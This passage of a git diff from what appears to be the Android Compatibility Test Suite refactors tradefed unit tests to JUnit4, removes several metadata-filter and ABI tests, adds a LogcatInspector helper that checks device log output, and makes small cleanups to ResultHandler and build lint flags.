+ mListener = EasyMock.createMock(ITestInvocationListener.class);
}
- /**
- * {@inheritDoc}
- */
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
FileUtil.recursiveDelete(mTestDir);
- super.tearDown();
}
/**
@@ -123,13 +129,18 @@
@RunWith(JUnit4.class)
public static class Junit4TestClass2 {
public Junit4TestClass2() {}
+ @Rule public TestMetrics metrics = new TestMetrics();
+
@org.junit.Test
- public void testPass2() {}
+ public void testPass2() {
+ metrics.addTestMetric("key", "value");
+ }
}
/**
* Test that {@link JarHostTest#split()} inherited from {@link HostTest} is still good.
*/
+ @Test
public void testSplit_withoutJar() throws Exception {
OptionSetter setter = new OptionSetter(mTest);
setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
@@ -146,6 +157,7 @@
/**
* Test that {@link JarHostTest#split()} can split classes coming from a jar.
*/
+ @Test
public void testSplit_withJar() throws Exception {
File testJar = getJarResource(TEST_JAR1, mTestDir);
mTest = new JarHostTestable(mTestDir);
@@ -165,6 +177,7 @@
/**
* Test that {@link JarHostTest#getTestShard(int, int)} can split classes coming from a jar.
*/
+ @Test
public void testGetTestShard_withJar() throws Exception {
File testJar = getJarResource(TEST_JAR2, mTestDir);
mTest = new JarHostTestLoader(mTestDir, testJar);
@@ -259,4 +272,45 @@
return child;
}
}
+
+ /**
+ * If a jar file is not found, the countTest will fail but we still want to report a
+ * testRunStart and End pair for results.
+ */
+ @Test
+ public void testCountTestFails() throws Exception {
+ OptionSetter setter = new OptionSetter(mTest);
+ setter.setOptionValue("jar", "thisjardoesnotexistatall.jar");
+ mListener.testRunStarted(EasyMock.anyObject(), EasyMock.eq(0));
+ mListener.testRunEnded(EasyMock.anyLong(), EasyMock.anyObject());
+ EasyMock.replay(mListener);
+ try {
+ mTest.run(mListener);
+ fail("Should have thrown an exception.");
+ } catch(RuntimeException expected) {
+ // expected
+ }
+ EasyMock.verify(mListener);
+ }
+
+ /**
+ * Test that metrics from tests in JarHost are reported and accounted for.
+ */
+ @Test
+ public void testJarHostMetrics() throws Exception {
+ OptionSetter setter = new OptionSetter(mTest);
+ setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
+ + "JarHostTestTest$Junit4TestClass2");
+ mListener.testRunStarted(EasyMock.anyObject(), EasyMock.eq(1));
+ TestIdentifier tid = new TestIdentifier("com.android.compatibility.common.tradefed."
+ + "testtype.JarHostTestTest$Junit4TestClass2", "testPass2");
+ mListener.testStarted(EasyMock.eq(tid), EasyMock.anyLong());
+ Map<String, String> metrics = new HashMap<>();
+ metrics.put("key", "value");
+ mListener.testEnded(EasyMock.eq(tid), EasyMock.anyLong(), EasyMock.eq(metrics));
+ mListener.testRunEnded(EasyMock.anyLong(), EasyMock.anyObject());
+ EasyMock.replay(mListener);
+ mTest.run(mListener);
+ EasyMock.verify(mListener);
+ }
}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
index d67619a..682088c 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
@@ -15,10 +15,9 @@
*/
package com.android.compatibility.common.tradefed.testtype.retry;
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertEquals;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.tradefed.config.IConfiguration;
@@ -52,7 +51,7 @@
private RetryFilterHelper mSpyFilter;
/**
- * A {@link CompatibilityTest} that does not run anything.
+ * A {@link CompatibilityTestSuite} that does not run anything.
*/
@OptionClass(alias = "compatibility")
public static class VoidCompatibilityTest extends CompatibilityTestSuite {
@@ -90,7 +89,7 @@
};
mFactory = new RetryFactoryTest() {
@Override
- RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+ protected RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
return mSpyFilter;
}
@Override
@@ -108,6 +107,7 @@
public void testRetry_receiveOption() throws Exception {
OptionSetter setter = new OptionSetter(mFactory);
setter.setOptionValue("retry", "10599");
+ setter.setOptionValue("test-arg", "abcd");
EasyMock.replay(mMockListener);
mFactory.run(mMockListener);
EasyMock.verify(mMockListener);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
deleted file mode 100644
index 86569ef..0000000
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.tradefed.testtype.suite;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
-import com.android.tradefed.config.OptionSetter;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.util.AbiUtils;
-
-import org.easymock.EasyMock;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Unit tests for {@link CompatibilityTestSuite}.
- */
-public class CompatibilityTestSuiteTest {
-
- private static final String FAKE_HOST_ARCH = "arm";
- private CompatibilityTestSuite mTest;
- private ITestDevice mMockDevice;
-
- @Before
- public void setUp() throws Exception {
- mTest = new CompatibilityTestSuite() {
- @Override
- protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(FAKE_HOST_ARCH);
- }
- };
- mMockDevice = EasyMock.createMock(ITestDevice.class);
- mTest.setDevice(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning a proper
- * intersection of CTS supported architectures and Device supported architectures.
- */
- @Test
- public void testGetAbis() throws DeviceNotAvailableException {
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
- .andReturn("arm64-v8a,armeabi-v7a,armeabi");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("arm64-v8a");
- expectedAbis.add("armeabi-v7a");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(2, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception when
- * none of the CTS build supported abi match the device abi.
- */
- @Test
- public void testGetAbis_notSupported() throws DeviceNotAvailableException {
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
- .andReturn("armeabi");
- EasyMock.replay(mMockDevice);
- try {
- mTest.getAbis(mMockDevice);
- fail("Should have thrown an exception");
- } catch (IllegalArgumentException e) {
- assertEquals("None of the abi supported by this CTS build ('[armeabi-v7a, arm64-v8a]')"
- + " are supported by the device ('[armeabi]').", e.getMessage());
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning only the device
- * primary abi.
- */
- @Test
- public void testGetAbis_primaryAbiOnly() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
- .andReturn("arm64-v8a");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("arm64-v8a");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(1, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception if
- * the primary abi is not supported.
- */
- @Test
- public void testGetAbis_primaryAbiOnly_NotSupported() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
- .andReturn("armeabi");
- EasyMock.replay(mMockDevice);
- try {
- mTest.getAbis(mMockDevice);
- fail("Should have thrown an exception");
- } catch (IllegalArgumentException e) {
- assertEquals("Your CTS hasn't been built with abi 'armeabi' support, "
- + "this CTS currently supports '[armeabi-v7a, arm64-v8a]'.", e.getMessage());
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning the list of abi
- * supported by Compatibility and the device, and not the particular CTS build.
- */
- @Test
- public void testGetAbis_skipCtsArchCheck() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
- .andReturn("x86_64,x86,armeabi");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("x86_64");
- expectedAbis.add("x86");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(2, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test {@link CompatibilityTestSuite#getAbis(ITestDevice)} when we skip the Cts side
- * architecture check and want to run x86 abi.
- */
- @Test
- public void testGetAbis_skipCtsArchCheck_abiSpecified() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
- setter.setOptionValue(CompatibilityTest.ABI_OPTION, "x86");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("x86");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(1, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
index c67afc0..31db704 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
@@ -16,17 +16,13 @@
package com.android.compatibility.common.tradefed.testtype.suite;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
import com.android.tradefed.config.Configuration;
-import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.config.IConfiguration;
import com.android.tradefed.config.Option;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.util.MultiMap;
import org.junit.Before;
import org.junit.Test;
@@ -44,8 +40,6 @@
@RunWith(JUnit4.class)
public class ModuleRepoSuiteTest {
- private static final MultiMap<String, String> METADATA_INCLUDES = new MultiMap<>();
- private static final MultiMap<String, String> METADATA_EXCLUDES = new MultiMap<>();
private ModuleRepoSuite mRepo;
@Before
@@ -53,261 +47,6 @@
mRepo = new ModuleRepoSuite();
}
- /**
- * When there are no metadata based filters specified, config should be included.
- */
- @Test
- public void testMetadataFilter_emptyFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- assertTrue("config not included when metadata filters are empty",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, METADATA_EXCLUDES));
- }
-
- /**
- * When inclusion filter is specified, config matching the filter is included.
- */
- @Test
- public void testMetadataFilter_matchInclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When inclusion filter is specified, config not matching the filter is excluded
- */
- @Test
- public void testMetadataFilter_noMatchInclude_mismatchValue() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "bar");
- assertFalse("config not excluded with mismatching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When inclusion filter is specified, config not matching the filter is excluded.
- */
- @Test
- public void testMetadataFilter_noMatchInclude_mismatchKey() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("group", "bar");
- assertFalse("config not excluded with mismatching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filter is specified, config matching the filter is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When exclusion filter is specified, config not matching the filter is included.
- */
- @Test
- public void testMetadataFilter_noMatchExclude_mismatchKey() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "bar");
- assertTrue("config not included with mismatching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When exclusion filter is specified, config not matching the filter is included.
- */
- @Test
- public void testMetadataFilter_noMatchExclude_mismatchValue() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("group", "bar");
- assertTrue("config not included with mismatching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion filter is specified, config with one of the metadata field matching the filter
- * is included.
- */
- @Test
- public void testMetadataFilter_matchInclude_multipleMetadataField() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("component", "bar");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filter is specified, config with one of the metadata field matching the filter
- * is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude_multipleMetadataField() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("component", "bar");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion filters are specified, config with metadata field matching one of the filter
- * is included.
- */
- @Test
- public void testMetadataFilter_matchInclude_multipleFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- includeFilter.put("component", "bar");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filters are specified, config with metadata field matching one of the filter
- * is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude_multipleFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo");
- excludeFilter.put("component", "bar");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion filters are specified, config with metadata field matching one of the filter
- * is included.
- */
- @Test
- public void testMetadataFilter_matchInclude_multipleMetadataAndFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo1");
- metadata.put("group", "bar1");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo1");
- includeFilter.put("group", "bar2");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filters are specified, config with metadata field matching one of the filter
- * is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude_multipleMetadataAndFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo1");
- metadata.put("group", "bar1");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo1");
- excludeFilter.put("group", "bar2");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion and exclusion filters are both specified, config can pass through the filters
- * as expected.
- */
- @Test
- public void testMetadataFilter_includeAndExclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("group", "bar1");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("group", "bar2");
- assertTrue("config not included with matching inclusion and mismatching exclusion filters",
- mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
- }
-
- /**
- * When inclusion and exclusion filters are both specified, config be excluded as specified
- */
- @Test
- public void testMetadataFilter_includeThenExclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("group", "bar");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("group", "bar");
- assertFalse("config not excluded with matching inclusion and exclusion filters",
- mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
- }
-
public static class TestInject implements IRemoteTest {
@Option(name = "simple-string")
public String test = null;
diff --git a/common/util/src/com/android/compatibility/common/util/LogcatInspector.java b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
new file mode 100644
index 0000000..ed82307
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
@@ -0,0 +1,130 @@
+package com.android.compatibility.common.util;
+
+import static junit.framework.TestCase.fail;
+
+import com.google.common.base.Joiner;
+import com.google.common.io.Closeables;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Inherit this class and implement {@link #executeShellCommand(String)} to be able to assert that
+ * logcat contains what you want.
+ */
+public abstract class LogcatInspector {
+ private static final int SMALL_LOGCAT_DELAY = 1000;
+
+ /**
+ * Should execute adb shell {@param command} and return an {@link InputStream} with the result.
+ */
+ protected abstract InputStream executeShellCommand(String command) throws IOException;
+
+ /**
+ * Logs an unique string using tag {@param tag} and wait until it appears to continue execution.
+ *
+ * @return a unique separator string.
+ * @throws IOException if error while executing command.
+ */
+ public String mark(String tag) throws IOException {
+ String uniqueString = ":::" + UUID.randomUUID().toString();
+ executeShellCommand("log -t " + tag + " " + uniqueString);
+ // This is to guarantee that we only return after the string has been logged, otherwise
+ // in practice the case where calling Log.?(<message1>) right after clearAndMark() resulted
+ // in <message1> appearing before the unique identifier. It's not guaranteed per the docs
+ // that log command will have written when returning, so better be safe. 5s should be fine.
+ assertLogcatContainsInOrder(tag + ":* *:S", 5, uniqueString);
+ return uniqueString;
+ }
+
+ /**
+ * Wait for up to {@param maxTimeoutInSeconds} for the given {@param logcatStrings} strings to
+ * appear in logcat in the given order. By passing the separator returned by {@link
+ * #mark(String)} as the first string you can ensure that only logs emitted after that
+ * call to mark() are found. Repeated strings are not supported.
+ *
+ * @throws AssertionError if the strings are not found in the given time.
+ * @throws IOException if error while reading.
+ */
+ public void assertLogcatContainsInOrder(
+ String filterSpec, int maxTimeoutInSeconds, String... logcatStrings)
+ throws AssertionError, IOException {
+ try {
+ int nextStringIndex =
+ numberOfLogcatStringsFound(filterSpec, maxTimeoutInSeconds, logcatStrings);
+ if (nextStringIndex < logcatStrings.length) {
+ fail(
+ "Couldn't find "
+ + logcatStrings[nextStringIndex]
+ + (nextStringIndex > 0
+ ? " after " + logcatStrings[nextStringIndex - 1]
+ : "")
+ + " within "
+ + maxTimeoutInSeconds
+ + " seconds ");
+ }
+ } catch (InterruptedException e) {
+ fail("Thread interrupted unexpectedly: " + e.getMessage());
+ }
+ }
+
+ /**
+ * Wait for up to {@param timeInSeconds}, if all the strings {@param logcatStrings} are found in
+ * order then the assertion fails, otherwise it succeeds.
+ *
+ * @throws AssertionError if all the strings are found in order in the given time.
+ * @throws IOException if error while reading.
+ */
+ public void assertLogcatDoesNotContainInOrder(int timeInSeconds, String... logcatStrings)
+ throws IOException {
+ try {
+ int stringsFound = numberOfLogcatStringsFound("", timeInSeconds, logcatStrings);
+ if (stringsFound == logcatStrings.length) {
+ fail("Found " + Joiner.on(", ").join(logcatStrings) + " that weren't expected");
+ }
+ } catch (InterruptedException e) {
+ fail("Thread interrupted unexpectedly: " + e.getMessage());
+ }
+ }
+
+ private int numberOfLogcatStringsFound(
+ String filterSpec, int timeInSeconds, String... logcatStrings)
+ throws InterruptedException, IOException {
+ long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(timeInSeconds);
+ int stringIndex = 0;
+ while (timeout >= System.currentTimeMillis()) {
+ InputStream logcatStream = executeShellCommand("logcat -v brief -d " + filterSpec);
+ BufferedReader logcat = new BufferedReader(new InputStreamReader(logcatStream));
+ String line;
+ stringIndex = 0;
+ while ((line = logcat.readLine()) != null) {
+ if (line.contains(logcatStrings[stringIndex])) {
+ stringIndex++;
+ if (stringIndex >= logcatStrings.length) {
+ drainAndClose(logcat);
+ return stringIndex;
+ }
+ }
+ }
+ Closeables.closeQuietly(logcat);
+ // In case the key has not been found, wait for the log to update before
+ // performing the next search.
+ Thread.sleep(SMALL_LOGCAT_DELAY);
+ }
+ return stringIndex;
+ }
+
+ private static void drainAndClose(BufferedReader reader) {
+ try {
+ while (reader.read() >= 0) {
+ // do nothing.
+ }
+ } catch (IOException ignored) {
+ }
+ Closeables.closeQuietly(reader);
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/ResultHandler.java b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
index 4aa6e05..bcec56a 100644
--- a/common/util/src/com/android/compatibility/common/util/ResultHandler.java
+++ b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
@@ -25,7 +25,6 @@
import org.xmlpull.v1.XmlSerializer;
import java.io.File;
-import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
@@ -43,6 +42,7 @@
import java.util.List;
import java.util.Map.Entry;
import java.util.Set;
+
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
@@ -114,17 +114,20 @@
private static final String SUMMARY_TAG = "Summary";
private static final String TEST_TAG = "Test";
+ private static final String LATEST_RESULT_DIR = "latest";
/**
* Returns IInvocationResults that can be queried for general reporting information, but that
* do not store underlying module data. Useful for summarizing invocation history.
* @param resultsDir
- * @param useChecksum
*/
public static List<IInvocationResult> getLightResults(File resultsDir) {
List<IInvocationResult> results = new ArrayList<>();
List<File> files = getResultDirectories(resultsDir);
for (File resultDir : files) {
+ if (LATEST_RESULT_DIR.equals(resultDir.getName())) {
+ continue;
+ }
IInvocationResult result = getResultFromDir(resultDir, false);
if (result != null) {
results.add(new LightInvocationResult(result));
@@ -490,8 +493,7 @@
/**
* Find the IInvocationResult for the given sessionId.
*/
- public static IInvocationResult findResult(File resultsDir, Integer sessionId)
- throws FileNotFoundException {
+ public static IInvocationResult findResult(File resultsDir, Integer sessionId) {
return findResult(resultsDir, sessionId, true);
}
@@ -499,7 +501,7 @@
* Find the IInvocationResult for the given sessionId.
*/
private static IInvocationResult findResult(
- File resultsDir, Integer sessionId, Boolean useChecksum) throws FileNotFoundException {
+ File resultsDir, Integer sessionId, Boolean useChecksum) {
if (sessionId < 0) {
throw new IllegalArgumentException(
String.format("Invalid session id [%d] ", sessionId));
@@ -531,7 +533,7 @@
/**
* Get a list of child directories that contain test invocation results
* @param resultsDir the root test result directory
- * @return
+ * @return the list of {@link File} results directory.
*/
public static List<File> getResultDirectories(File resultsDir) {
List<File> directoryList = new ArrayList<>();
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index d17828d..7c729ec 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -17,9 +17,13 @@
# Goal is to eventually merge with error_prone_rules.mk
LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-Xep:CollectionIncompatibleType:ERROR \
+ -Xep:EqualsIncompatibleType:ERROR \
-Xep:EqualsNaN:ERROR \
-Xep:FormatString:ERROR \
+ -Xep:IdentityBinaryExpression:ERROR \
-Xep:JUnit3TestNotRun:ERROR \
+ -Xep:JUnitAmbiguousTestClass:ERROR \
+ -Xep:MissingFail:ERROR \
-Xep:SizeGreaterThanOrEqualsZero:ERROR \
-Xep:TryFailThrowable:ERROR
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
index a570232..6719923 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
@@ -57,16 +57,14 @@
* Simple testcase to ensure that the grabbing a bugreport from a real TestDevice works.
*/
public void testBugreport() throws Exception {
- InputStreamSource bugreport = mTestDevice.getBugreport();
InputStream bugreportData = null;
- try {
+ try (InputStreamSource bugreport = mTestDevice.getBugreport()) {
bugreportData = bugreport.createInputStream();
String data = StreamUtil.getStringFromStream(bugreportData);
assertTrue(String.format("Expected at least %d characters; only saw %d",
mMinBugreportBytes, data.length()), data.length() >= mMinBugreportBytes);
// TODO: check the captured report more extensively, perhaps using loganalysis
} finally {
- StreamUtil.cancel(bugreport);
StreamUtil.close(bugreportData);
}
}
@@ -366,10 +364,9 @@
while (!passed) {
